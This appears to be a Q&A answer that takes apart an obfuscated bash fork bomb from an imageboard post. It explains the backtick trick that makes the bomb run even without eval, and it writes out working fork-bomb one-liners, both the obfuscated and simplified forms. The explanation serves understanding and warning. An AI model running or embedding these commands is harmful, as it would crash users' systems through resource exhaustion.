First, let's look at the whole command:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
It contains a double-quoted string that gets echoed to uudecode
. But, note that, within the double-quoted string is a back-quoted string. This string gets executed. The string is:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
If we look at what's in it, we see three commands:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Performing brace expansion on the middle command, we have:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
The first line tries to run a nonsense command in background. This is unimportant.
The second line is important: it defines a function r
which, when run, launches two copies of itself. Each of those copies would, of course, launch two more copies. And so on.
The third line runs r
, starting the fork bomb.
The rest of the code, outside of the back-quoted string, is just nonsense for obfuscation.
How to run the command safely
This code can be run safely if we set limit on function nesting level. This can be done with bash's FUNCNEST
variable. Here, we set it to 2
and this stops the recursion:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
The error messages above show that (a) the nonsense commands rYWdl
and Y29j
are not found, (b) the fork bomb gets repeatedly stopped by FUNCNEST, and (c) the output of echo
does not start with begin
and, consequently, is not valid input for uudecode
.
The fork bomb in its simplest form
What would the fork bomb look like if we removed the obscuration? As njzk2 and gerrit suggest, it would look like:
echo "`r()(r&r);r`"
We can simplify that even further:
r()(r&r); r
That consists of two statements: one defines the fork-bomb-function r
and the second runs r
.
All the other code, including the pipe to uudecode
, was there just for obscuration and misdirection.
The original form had yet another layer of misdirection
The OP has provided a link to the chann board discussion on which this code appeared. As presented there, the code looked like:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Notice one of the first comments about this code:
I fell for it. Copied only the part that echoes and decodes, but still
got forkbombed
In the form on the chann board, one would naively think that the problem would be the eval
statement operating on the output of uudecode
. This would lead one to think that removing eval
would solve the problem. As we have seen above, this is false and dangerously so.